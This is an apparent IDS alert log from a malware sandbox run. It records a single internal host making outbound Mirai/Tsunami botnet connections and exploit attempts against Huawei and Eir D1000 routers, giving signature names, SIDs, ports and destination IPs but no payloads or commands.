Timestamp:	192.168.2.2383.96.110.19341652802846380 10/23/22-17:57:15.955988
SID:	2846380
Source Port:	41652
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.180.104.110

Timestamp:	192.168.2.235.180.104.11033960802846457 10/23/22-17:57:35.654459
SID:	2846457
Source Port:	33960
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 76.143.163.65

Timestamp:	192.168.2.2376.143.163.6552016802841623 10/23/22-17:57:12.577016
SID:	2841623
Source Port:	52016
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.245.197.139

Timestamp:	192.168.2.2385.245.197.13947800802846457 10/23/22-17:57:58.553666
SID:	2846457
Source Port:	47800
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.241.118.185

Timestamp:	192.168.2.23156.241.118.18548652802841623 10/23/22-17:57:35.661549
SID:	2841623
Source Port:	48652
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.38.185.143

Timestamp:	192.168.2.2384.38.185.14360264802846457 10/23/22-17:57:46.329699
SID:	2846457
Source Port:	60264
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.214.25.178

Timestamp:	192.168.2.2385.214.25.17840000802846457 10/23/22-17:56:48.675092
SID:	2846457
Source Port:	40000
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.99.211.27

Timestamp:	192.168.2.2388.99.211.2741924802027121 10/23/22-17:57:05.124779
SID:	2027121
Source Port:	41924
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.31.35.40

Timestamp:	192.168.2.2395.31.35.4049782802027121 10/23/22-17:57:18.864521
SID:	2027121
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.253.97.131

Timestamp:	192.168.2.2395.253.97.13150314802027121 10/23/22-17:58:37.493609
SID:	2027121
Source Port:	50314
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 36.37.70.192

Timestamp:	192.168.2.2336.37.70.19260244372152835222 10/23/22-17:57:58.315251
SID:	2835222
Source Port:	60244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.26.115.96

Timestamp:	192.168.2.2337.26.115.9636372802846457 10/23/22-17:56:51.848251
SID:	2846457
Source Port:	36372
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.196.28.98

Timestamp:	192.168.2.235.196.28.9833874802846457 10/23/22-17:57:35.591913
SID:	2846457
Source Port:	33874
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.221.21.64

Timestamp:	192.168.2.2382.221.21.6460606802846380 10/23/22-17:58:36.892932
SID:	2846380
Source Port:	60606
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.121.165.229

Timestamp:	192.168.2.23112.121.165.22941020802027121 10/23/22-17:58:29.892726
SID:	2027121
Source Port:	41020
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.243.76.47

Timestamp:	192.168.2.2346.243.76.4733370802846457 10/23/22-17:58:24.014248
SID:	2846457
Source Port:	33370
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.32.69.56

Timestamp:	192.168.2.23213.32.69.5654438802846380 10/23/22-17:56:41.505964
SID:	2846380
Source Port:	54438
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.17.52.217

Timestamp:	192.168.2.232.17.52.21746952802846457 10/23/22-17:57:07.304161
SID:	2846457
Source Port:	46952
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.161.125.253

Timestamp:	192.168.2.235.161.125.25347892802846457 10/23/22-17:57:35.757469
SID:	2846457
Source Port:	47892
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.219.3.105

Timestamp:	192.168.2.2388.219.3.10539618802027121 10/23/22-17:57:02.473923
SID:	2027121
Source Port:	39618
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.10.214.218

Timestamp:	192.168.2.2385.10.214.21851998802846457 10/23/22-17:57:00.275551
SID:	2846457
Source Port:	51998
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.196.17.52

Timestamp:	192.168.2.23112.196.17.5256560802027121 10/23/22-17:57:52.205788
SID:	2027121
Source Port:	56560
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.135.39.210

Timestamp:	192.168.2.2388.135.39.21053162802027121 10/23/22-17:57:54.816950
SID:	2027121
Source Port:	53162
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.34.111.128

Timestamp:	192.168.2.23112.34.111.12838796802027121 10/23/22-17:56:58.091705
SID:	2027121
Source Port:	38796
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.161.145.199

Timestamp:	192.168.2.2389.161.145.19943544802846457 10/23/22-17:57:55.917898
SID:	2846457
Source Port:	43544
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.156.252.249

Timestamp:	192.168.2.2395.156.252.24948290802027121 10/23/22-17:56:55.703449
SID:	2027121
Source Port:	48290
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.255.164.187

Timestamp:	192.168.2.23156.255.164.18741856802841623 10/23/22-17:57:28.948733
SID:	2841623
Source Port:	41856
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.78.3.160

Timestamp:	192.168.2.2380.78.3.16059672802846380 10/23/22-17:56:39.216972
SID:	2846380
Source Port:	59672
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.27.108.89

Timestamp:	192.168.2.23197.27.108.8940834802835222 10/23/22-17:57:40.421683
SID:	2835222
Source Port:	40834
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.189.198.47

Timestamp:	192.168.2.2389.189.198.4758450802846457 10/23/22-17:57:43.770300
SID:	2846457
Source Port:	58450
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.100.78.213

Timestamp:	192.168.2.2395.100.78.21333312802027121 10/23/22-17:57:45.076992
SID:	2027121
Source Port:	33312
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.126.102.9

Timestamp:	192.168.2.23112.126.102.936288802027121 10/23/22-17:57:10.567170
SID:	2027121
Source Port:	36288
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.58.114.61

Timestamp:	192.168.2.23200.58.114.6134364802846380 10/23/22-17:58:22.758351
SID:	2846380
Source Port:	34364
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.188.204.241

Timestamp:	192.168.2.23213.188.204.24160806802846380 10/23/22-17:57:37.868952
SID:	2846380
Source Port:	60806
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.184.229.168

Timestamp:	192.168.2.2384.184.229.16852704802846457 10/23/22-17:57:56.399410
SID:	2846457
Source Port:	52704
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.214.72.203

Timestamp:	192.168.2.2385.214.72.20360748802846457 10/23/22-17:57:18.317427
SID:	2846457
Source Port:	60748
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.85.134.209

Timestamp:	192.168.2.2383.85.134.20941880802846380 10/23/22-17:58:06.271924
SID:	2846380
Source Port:	41880
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.118.202.136

Timestamp:	192.168.2.2385.118.202.13657850802846457 10/23/22-17:57:00.301592
SID:	2846457
Source Port:	57850
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.208.46.24

Timestamp:	192.168.2.2388.208.46.2448630802027121 10/23/22-17:57:38.601501
SID:	2027121
Source Port:	48630
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.186.243.141

Timestamp:	192.168.2.23112.186.243.14137720802027121 10/23/22-17:58:29.874545
SID:	2027121
Source Port:	37720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.232.89.213

Timestamp:	192.168.2.2346.232.89.21346668802846457 10/23/22-17:58:15.499399
SID:	2846457
Source Port:	46668
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.7.232.43

Timestamp:	192.168.2.23195.7.232.4360146802846457 10/23/22-17:58:21.669709
SID:	2846457
Source Port:	60146
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.241.102.128

Timestamp:	192.168.2.2361.241.102.12847924802846457 10/23/22-17:57:02.878954
SID:	2846457
Source Port:	47924
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.161.208.80

Timestamp:	192.168.2.2389.161.208.8033030802846457 10/23/22-17:58:10.293377
SID:	2846457
Source Port:	33030
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.198.81.111

Timestamp:	192.168.2.2388.198.81.11145392802027121 10/23/22-17:58:34.994957
SID:	2027121
Source Port:	45392
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.99.185.180

Timestamp:	192.168.2.2388.99.185.18048222802027121 10/23/22-17:58:29.896573
SID:	2027121
Source Port:	48222
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.216.98.238

Timestamp:	192.168.2.2388.216.98.23840924802027121 10/23/22-17:56:53.412111
SID:	2027121
Source Port:	40924
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.123.238.5

Timestamp:	192.168.2.23200.123.238.545042802846380 10/23/22-17:57:30.754544
SID:	2846380
Source Port:	45042
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.39.174.195

Timestamp:	192.168.2.235.39.174.19560302802846457 10/23/22-17:56:55.096205
SID:	2846457
Source Port:	60302
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.238.159.194

Timestamp:	192.168.2.23171.238.159.19444648802846457 10/23/22-17:56:55.131893
SID:	2846457
Source Port:	44648
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.105.184.249

Timestamp:	192.168.2.2395.105.184.24936070802027121 10/23/22-17:57:25.752184
SID:	2027121
Source Port:	36070
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 18.203.114.123

Timestamp:	192.168.2.2318.203.114.12335412802841623 10/23/22-17:56:48.003722
SID:	2841623
Source Port:	35412
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.208.215.135

Timestamp:	192.168.2.2388.208.215.13537378802027121 10/23/22-17:56:51.056799
SID:	2027121
Source Port:	37378
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.99.172.100

Timestamp:	192.168.2.2388.99.172.10056870802027121 10/23/22-17:57:21.048748
SID:	2027121
Source Port:	56870
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.220.42.210

Timestamp:	192.168.2.2395.220.42.21041296802027121 10/23/22-17:58:21.910265
SID:	2027121
Source Port:	41296
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.9.140.213

Timestamp:	192.168.2.23122.9.140.21357004802846457 10/23/22-17:57:14.271185
SID:	2846457
Source Port:	57004
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.223.100.178

Timestamp:	192.168.2.2382.223.100.17842044802846380 10/23/22-17:57:46.332141
SID:	2846380
Source Port:	42044
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.235.250.211

Timestamp:	192.168.2.235.235.250.21135562802846457 10/23/22-17:56:55.184860
SID:	2846457
Source Port:	35562
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 93.176.161.55

Timestamp:	192.168.2.2393.176.161.555027675472023548 10/23/22-17:58:32.220679
SID:	2023548
Source Port:	50276
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.97.228.20

Timestamp:	192.168.2.2395.97.228.2050406802027121 10/23/22-17:57:57.698014
SID:	2027121
Source Port:	50406
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.20.225.59

Timestamp:	192.168.2.232.20.225.5953198802846457 10/23/22-17:57:07.070140
SID:	2846457
Source Port:	53198
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.166.205.34

Timestamp:	192.168.2.23188.166.205.3445960802846457 10/23/22-17:58:20.257070
SID:	2846457
Source Port:	45960
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.121.125.181

Timestamp:	192.168.2.2385.121.125.18157090802846457 10/23/22-17:57:00.289486
SID:	2846457
Source Port:	57090
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.229.208.198

Timestamp:	192.168.2.23156.229.208.19857412802841623 10/23/22-17:57:12.574073
SID:	2841623
Source Port:	57412
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.56.189.194

Timestamp:	192.168.2.23181.56.189.19453136802846380 10/23/22-17:58:01.079461
SID:	2846380
Source Port:	53136
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.180.164.148

Timestamp:	192.168.2.2382.180.164.14853386802846380 10/23/22-17:58:06.256755
SID:	2846380
Source Port:	53386
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 18.132.14.168

Timestamp:	192.168.2.2318.132.14.16834498802841623 10/23/22-17:58:28.070323
SID:	2841623
Source Port:	34498
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 93.124.81.213

Timestamp:	192.168.2.2393.124.81.2135899675472835222 10/23/22-17:58:21.369314
SID:	2835222
Source Port:	58996
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.19.246.69

Timestamp:	192.168.2.232.19.246.6937664802846457 10/23/22-17:57:03.277028
SID:	2846457
Source Port:	37664
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.179.188.180

Timestamp:	192.168.2.2395.179.188.18048038802027121 10/23/22-17:58:24.017151
SID:	2027121
Source Port:	48038
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.66.59.90

Timestamp:	192.168.2.2382.66.59.9058862802846380 10/23/22-17:57:07.268963
SID:	2846380
Source Port:	58862
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.121.152.176

Timestamp:	192.168.2.23112.121.152.17648986802027121 10/23/22-17:57:28.421617
SID:	2027121
Source Port:	48986
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.255.80.110

Timestamp:	192.168.2.2346.255.80.11041464802846457 10/23/22-17:58:15.382045
SID:	2846457
Source Port:	41464
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.143.19.42

Timestamp:	192.168.2.23213.143.19.4234100802846380 10/23/22-17:56:49.782645
SID:	2846380
Source Port:	34100
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.26.189.218

Timestamp:	192.168.2.23200.26.189.21859532802846380 10/23/22-17:58:09.192519
SID:	2846380
Source Port:	59532
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.27.89.184

Timestamp:	192.168.2.2323.27.89.18441918802841623 10/23/22-17:57:20.664517
SID:	2841623
Source Port:	41918
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.99.26.30

Timestamp:	192.168.2.2388.99.26.3041148802027121 10/23/22-17:57:52.289831
SID:	2027121
Source Port:	41148
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 154.92.86.210

Timestamp:	192.168.2.23154.92.86.21054124802841623 10/23/22-17:57:44.711261
SID:	2841623
Source Port:	54124
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.129.16.30

Timestamp:	192.168.2.2388.129.16.3059434802027121 10/23/22-17:58:02.095359
SID:	2027121
Source Port:	59434
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.64.71.138

Timestamp:	192.168.2.2382.64.71.13854430802846380 10/23/22-17:58:06.167062
SID:	2846380
Source Port:	54430
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.17.137.47

Timestamp:	192.168.2.232.17.137.4747052802846457 10/23/22-17:57:07.090557
SID:	2846457
Source Port:	47052
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.7.224

Timestamp:	192.168.2.2388.221.7.22439098802027121 10/23/22-17:57:54.655484
SID:	2027121
Source Port:	39098
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.47.197.27

Timestamp:	192.168.2.2389.47.197.2750758802846457 10/23/22-17:58:07.981171
SID:	2846457
Source Port:	50758
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.217.188.220

Timestamp:	192.168.2.2395.217.188.22041578802027121 10/23/22-17:57:33.447053
SID:	2027121
Source Port:	41578
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.242.179

Timestamp:	192.168.2.2395.101.242.17936518802027121 10/23/22-17:57:16.265202
SID:	2027121
Source Port:	36518
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.209.237.100

Timestamp:	192.168.2.2388.209.237.10058060802027121 10/23/22-17:57:40.651414
SID:	2027121
Source Port:	58060
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.204.30.114

Timestamp:	192.168.2.2395.204.30.11433854802027121 10/23/22-17:57:54.944174
SID:	2027121
Source Port:	33854
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.85.225.243

Timestamp:	192.168.2.23213.85.225.24345690802846380 10/23/22-17:57:54.138966
SID:	2846380
Source Port:	45690
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.216.173.164

Timestamp:	192.168.2.2395.216.173.16454520802027121 10/23/22-17:57:43.887723
SID:	2027121
Source Port:	54520
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.92.18.233

Timestamp:	192.168.2.2380.92.18.23346846802846457 10/23/22-17:56:52.759797
SID:	2846457
Source Port:	46846
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.213.212.122

Timestamp:	192.168.2.2395.213.212.12255564802027121 10/23/22-17:56:53.181960
SID:	2027121
Source Port:	55564
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.214.139.144

Timestamp:	192.168.2.2385.214.139.14451614802846457 10/23/22-17:57:16.979802
SID:	2846457
Source Port:	51614
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.82.113.49

Timestamp:	192.168.2.23206.82.113.4935862802846380 10/23/22-17:58:36.921850
SID:	2846380
Source Port:	35862
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.214.152.130

